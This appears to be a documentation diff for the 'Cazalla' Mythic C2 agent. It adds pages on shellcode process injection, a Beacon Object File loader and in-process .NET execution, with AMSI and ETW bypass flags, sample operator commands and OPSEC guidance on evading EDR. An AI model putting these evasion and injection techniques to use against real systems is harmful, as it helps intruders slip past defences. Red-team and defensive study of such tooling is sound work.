SharpUp execution started...
[*] Checking for insecure file permissions...
[+] Found: C:\Program Files\Vulnerable Service\service.exe
```
## OPSEC Considerations
- **HIGH OPSEC RISK**: Process injection is heavily monitored by EDR/XDR solutions
- **Shellcode Injection**: Donut shellcode injection may trigger behavioral detections
- **Process Create Artifact**: Creates a "Process Create" artifact
- **Memory Scanning**: Injected shellcode may be scanned by EDR memory protection
- **API Monitoring**: Process injection APIs (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) are monitored
- **Donut Detection**: Donut shellcode patterns may be detected by advanced security solutions
## Technical Details
### Donut Integration
The command uses Donut to convert .NET assemblies to position-independent shellcode:
- Automatically handles .NET assembly loading
- Supports .NET Framework and .NET Core assemblies
- Generates position-independent shellcode
- Handles assembly dependencies
### Process Injection
The shellcode injection process:
1. Shellcode is generated from the .NET assembly
2. Shellcode is registered as a temporary file in Mythic
3. `inject_shellcode` command is called via subtask
4. Shellcode is injected into the target process
5. Assembly executes and output is captured
## Error Handling
The command handles various error scenarios:
- **Assembly Not Found**: Returns error if assembly file cannot be retrieved
- **Donut Conversion Failure**: Returns error if assembly cannot be converted to shellcode
- **Injection Failure**: Returns error if shellcode cannot be injected
- **Execution Failure**: Returns error if assembly fails to execute
## Related
- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process (better OPSEC)
- [`inline_execute`](inline_execute.md) - Execute BOFs directly
- [Artifacts Support](../features.md#artifacts-support)
---
**Command Category:** Execution & Control
**Requires Admin:** No (unless injecting into protected process)
**MITRE ATT&CK:** [T1055 - Process Injection](https://attack.mitre.org/techniques/T1055/), [T1620 - Reflective Code Loading](https://attack.mitre.org/techniques/T1620/)
@@ -0,0 +1,114 @@
# inline_execute - Execute Beacon Object File (BOF)
Execute a Beacon Object File (BOF) in the current process thread and capture its output.
## Description
The `inline_execute` command loads and executes a COFF (Common Object File Format) file, commonly known as a Beacon Object File (BOF), directly in the memory of the current process. BOFs are lightweight, position-independent code objects that can be executed without creating new processes, making them useful for stealthy operations.
## Syntax
```
inline_execute -BOF <bof_file> [-Arguments <arguments>]
```
## Parameters
- `-BOF` or `bof_name` (required): Name of an already uploaded BOF file (e.g., `whoami.x64.o`)
- `bof_file` (required for new uploads): A new BOF file to upload and execute
- `-Arguments` or `bof_arguments` (optional): Arguments to pass to the BOF
### Argument Types
BOF arguments can be specified using the following format:
- `int16:123` or `-s:123` - 16-bit integer
- `int32:1234` or `-i:1234` - 32-bit integer
- `string:hello` or `-z:hello` - Null-terminated string
- `wchar:hello` or `-Z:hello` - Wide character string
- `base64:abc==` or `-b:abc==` - Base64-encoded binary data
## Examples
```
# Execute a BOF with no arguments
inline_execute -BOF whoami.x64.o
# Execute a BOF with integer argument
inline_execute -BOF listmods.x64.o -Arguments int32:1234
# Execute a BOF with multiple arguments
inline_execute -BOF netstat.x64.o -Arguments int32:4 string:TCP
# Upload and execute a new BOF
inline_execute -BOF custom_bof.x64.o -Arguments int32:5678
```
## Features
- **In-Memory Execution**: BOFs are executed directly in the current process memory without creating new processes
- **COFF Loader**: Full COFF loader implementation supporting x64 BOFs with relocations and symbol resolution
- **Beacon API Compatibility**: Compatible with Cobalt Strike BOF API (BeaconPrintf, BeaconOutput, etc.)
- **Output Capture**: Automatically captures and returns BOF output
- **Argument Parsing**: Supports multiple argument types (int16, int32, string, wchar, base64)
## Output
```
[inline_execute] BOF execution requested
[inline_execute] File ID: abc123...
[inline_execute] Arguments: int32:1234
[BOF Output]
Module Name: ntdll.dll
Base Address: 0x7ffa12340000
Size: 0x1f0000
```
## OPSEC Considerations
- **Process Create Artifact**: BOF execution creates a "Process Create" artifact that is logged
- **Memory Allocation**: BOFs allocate executable memory which may be detected by EDR solutions
- **API Hooking**: Some EDR solutions monitor API calls that BOFs make
- **Symbol Resolution**: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged
- **No New Process**: Unlike `shell` or `execute_assembly`, BOFs execute in-process, reducing some detection vectors
## Technical Details
### COFF Loader
The COFF loader implementation:
- Supports x64 COFF files (IMAGE_FILE_MACHINE_AMD64)
- Handles relocations (IMAGE_REL_AMD64_ADDR64, IMAGE_REL_AMD64_ADDR32NB, IMAGE_REL_AMD64_REL32)
- Resolves internal Beacon API functions
- Resolves external symbols via LoadLibraryA/GetProcAddress
- Maps sections with PAGE_EXECUTE_READWRITE permissions
### Beacon API Compatibility
The following Beacon API functions are supported:
- `BeaconPrintf` - Formatted output
- `BeaconOutput` - Raw output
- `BeaconDataParse` - Parse input data
- `BeaconDataInt`, `BeaconDataShort`, `BeaconDataExtract` - Data extraction
- `BeaconUseToken`, `BeaconRevertToken` - Token manipulation
- `BeaconIsAdmin` - Admin check
## Error Handling
The command handles various error scenarios:
- **File Not Found**: Returns error if BOF file cannot be retrieved from Mythic
- **Invalid COFF**: Returns error if file is not a valid COFF or unsupported architecture
- **Symbol Resolution Failure**: Warns if external symbols cannot be resolved
- **Execution Failure**: Returns error if BOF entry point cannot be found or execution fails
## Related
- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process
- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes
- [Artifacts Support](../features.md#artifacts-support)
---
**Command Category:** Execution & Control
**Requires Admin:** No
**MITRE ATT&CK:** [T1055 - Process Injection](https://attack.mitre.org/techniques/T1055/)
@@ -0,0 +1,110 @@
# inline_execute_assembly - Execute .NET Assembly In-Process
Execute a .NET Assembly in the current process using the Inline-EA BOF (Beacon Object File).
## Description
The `inline_execute_assembly` command executes a .NET assembly directly in the current process memory using the Inline-EA BOF developed by @EricEsquivel. This method loads and executes .NET assemblies without creating new processes, providing better OPSEC than traditional process spawning methods.
## Syntax
```
inline_execute_assembly -Assembly <assembly_file> [-Arguments <args>] [--patchexit] [--amsi] [--etw]
```
## Parameters
- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`)
- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute
- `-Arguments` or `assembly_arguments` (optional): Arguments to pass to the assembly
- `--patchexit` or `patch_exit` (optional, default: false): Patch `System.Environment.Exit` to prevent the Beacon process from exiting
- `--amsi` or `amsi` (optional, default: false): Bypass AMSI by patching `clr.dll` instead of `amsi.dll` to avoid common detections
- `--etw` or `etw` (optional, default: false): Bypass ETW by EAT hooking `advapi32.dll!EventWrite` to point to a function that returns immediately
## Examples
```
# Execute assembly with arguments
inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit"
# Execute with AMSI and ETW bypass
inline_execute_assembly -Assembly Seatbelt.exe -Arguments "all" --amsi --etw
# Execute with all bypasses enabled
inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All" --patchexit --amsi --etw
```
## Features
- **In-Process Execution**: Executes .NET assemblies in the current process without spawning new processes
- **AMSI Bypass**: Optional AMSI bypass by patching clr.dll (more evasive than patching amsi.dll)
- **ETW Bypass**: Optional ETW bypass via EAT hooking
- **Exit Patch**: Prevents assemblies from calling `System.Environment.Exit` and terminating the agent
- **Output Capture**: Automatically captures and returns assembly output
- **BOF-Based**: Uses the Inline-EA BOF under the hood (executed via `inline_execute`)
## How It Works
1. The command creates a subtask that calls `inline_execute` with the Inline-EA BOF
2. The .NET assembly is passed to the BOF as raw bytes
3. The BOF loads the assembly into memory using .NET CLR APIs
4. Optional bypasses (AMSI, ETW) are applied if requested
5. The assembly's entry point is executed with the provided arguments
6. Output is captured and returned to Mythic
## Output
```
[inline_execute_assembly] Assembly execution requested
[BOF Output from Inline-EA]
SharpUp execution started...
[*] Checking for insecure file permissions...
[*] Checking for unquoted service paths...
[+] Found: C:\Program Files\Vulnerable Service\service.exe
```
## OPSEC Considerations
- **Process Create Artifact**: Assembly execution creates a "Process Create" artifact
- **CLR Loading**: Loading .NET assemblies into memory may be detected by EDR solutions
- **AMSI Bypass**: Patching clr.dll for AMSI bypass may trigger behavioral detections
- **ETW Bypass**: EAT hooking may be detected by advanced EDR solutions
- **No New Process**: Executes in-process, reducing some detection vectors compared to `execute_assembly`
- **Memory Allocation**: Allocates executable memory for the assembly, which may be scanned
## Technical Details
### Inline-EA BOF
This command uses the Inline-EA BOF developed by @EricEsquivel:
- GitHub: https://github.com/EricEsquivel/Inline-EA
- Loads .NET assemblies directly into memory
- Supports AMSI and ETW bypasses
- Prevents assembly from exiting the process
### Bypass Options
- **--patchexit**: Patches `System.Environment.Exit` to prevent the assembly from terminating the agent process
- **--amsi**: Bypasses AMSI by patching `clr.dll` instead of `amsi.dll` (more evasive)
- **--etw**: Bypasses ETW by hooking `advapi32.dll!EventWrite` via Export Address Table (EAT) hooking
## Error Handling
The command handles various error scenarios:
- **Assembly Not Found**: Returns error if assembly file cannot be retrieved from Mythic
- **BOF Execution Failure**: Returns error if Inline-EA BOF cannot be executed
- **Assembly Load Failure**: Returns error if .NET assembly cannot be loaded
- **Bypass Failure**: May fail silently if bypasses cannot be applied
## Related
- [`inline_execute`](inline_execute.md) - Execute BOFs directly
- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes
- [Artifacts Support](../features.md#artifacts-support)
---
**Command Category:** Execution & Control
**Requires Admin:** No
**MITRE ATT&CK:** [T1055 - Process Injection](https://attack.mitre.org/techniques/T1055/), [T1620 - Reflective Code Loading](https://attack.mitre.org/techniques/T1620/)
@@ -153,6 +153,9 @@ Cazalla automatically reports artifacts created during command execution, allowi
| Artifact Type | Commands | Description |
|--------------|----------|-------------|
| **Process Create** | `shell` | Command execution via cmd.exe |
| **Process Create** | `inline_execute` | BOF execution in current process |
| **Process Create** | `inline_execute_assembly` | .NET assembly execution in-process |
| **Process Create** | `execute_assembly` | .NET assembly execution via process injection |
| **File Write** | `cp`, `mkdir`, `upload` | File creation or modification |
| **File Delete** | `rm` | File or directory deletion |
| **File Read** | `download` | File download operations |
+25
View File
@@ -78,6 +78,7 @@ These commands are **highly detectable** and require careful consideration:
| Command | Risk Level | Detection Likelihood | Alternatives |
|---------|-----------|---------------------|--------------|
| `shell` | HIGH | High (cmd.exe spawn) | Use built-in Cazalla commands when possible |
| `execute_assembly` | HIGH | High (process injection, Donut shellcode) | `inline_execute_assembly` for in-process execution |
| `steal_token` | HIGH | High (EDR/XDR monitoring) | `make_token` when credentials available |
| `rm` (system files) | HIGH | Blocked for safety | Never delete system files |
| `screenshot` | HIGH | Screen capture detection | Use sparingly, consider timing |
@@ -88,6 +89,8 @@ These commands have **moderate detection risk**:
| Command | Risk Level | Detection Likelihood | Notes |
|---------|-----------|---------------------|-------|
| `inline_execute` | MEDIUM | Memory allocation, API calls | In-process execution reduces some detection vectors |
| `inline_execute_assembly` | MEDIUM | CLR loading, memory allocation | Better OPSEC than `execute_assembly` (no process injection) |
| `download` | MEDIUM | File access logging | Large files may trigger DLP |
| `upload` | MEDIUM | File write detection | Suspicious extensions monitored |
| `socks` | MEDIUM | Network traffic analysis | High bandwidth usage |
@@ -115,6 +118,9 @@ These commands have **low detection risk**:
**Endpoint Detection and Response (EDR)** and **Extended Detection and Response (XDR)** solutions monitor:
- **Process Creation**: `shell` command spawns `cmd.exe` (highly monitored)
- **Process Injection**: `execute_assembly` uses Donut shellcode injection (heavily monitored)
- **Memory Allocation**: `inline_execute` and `inline_execute_assembly` allocate executable memory (may be scanned)
- **CLR Loading**: Loading .NET assemblies into memory may trigger EDR detections
- **Token Manipulation**: `steal_token` and `make_token` generate authentication events
- **Memory Access**: Accessing LSASS memory triggers high-priority alerts
- **API Hooking**: Keyloggers and screen capture use monitored APIs
@@ -122,6 +128,8 @@ These commands have **low detection risk**:
**Mitigation Strategies:**
- Use built-in Cazalla commands instead of `shell` when possible
- Prefer `inline_execute_assembly` over `execute_assembly` for better OPSEC (in-process vs process injection)
- Use `inline_execute` for BOFs when possible (no process creation)
- Prefer `make_token` over `steal_token` when credentials are available
- Avoid accessing LSASS or other critical system processes
- Use keylogging only when absolutely necessary
@@ -321,6 +329,23 @@ Built-in Cazalla commands:
- **Detection**: Authentication event logging
- **Best Practice**: Less detectable than `steal_token`, use when credentials available
### Code Execution Commands
#### `inline_execute`
- **Risk**: MEDIUM
- **Detection**: Memory allocation (executable pages), API calls (LoadLibraryA, GetProcAddress), symbol resolution
- **Best Practice**: In-process execution reduces detection vectors compared to process spawning. Use for lightweight operations.
#### `inline_execute_assembly`
- **Risk**: MEDIUM
- **Detection**: CLR loading, memory allocation, AMSI/ETW bypass attempts may trigger behavioral detections
- **Best Practice**: Better OPSEC than `execute_assembly` (no process injection). Use `--amsi` and `--etw` flags when needed, but be aware they may be detected.
#### `execute_assembly`
- **Risk**: HIGH
- **Detection**: Process injection (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread), Donut shellcode patterns, memory scanning
- **Best Practice**: Use only when necessary. Prefer `inline_execute_assembly` for better OPSEC. High detection risk due to process injection techniques.
#### `rev2self`
- **Risk**: LOW
- **Detection**: Minimal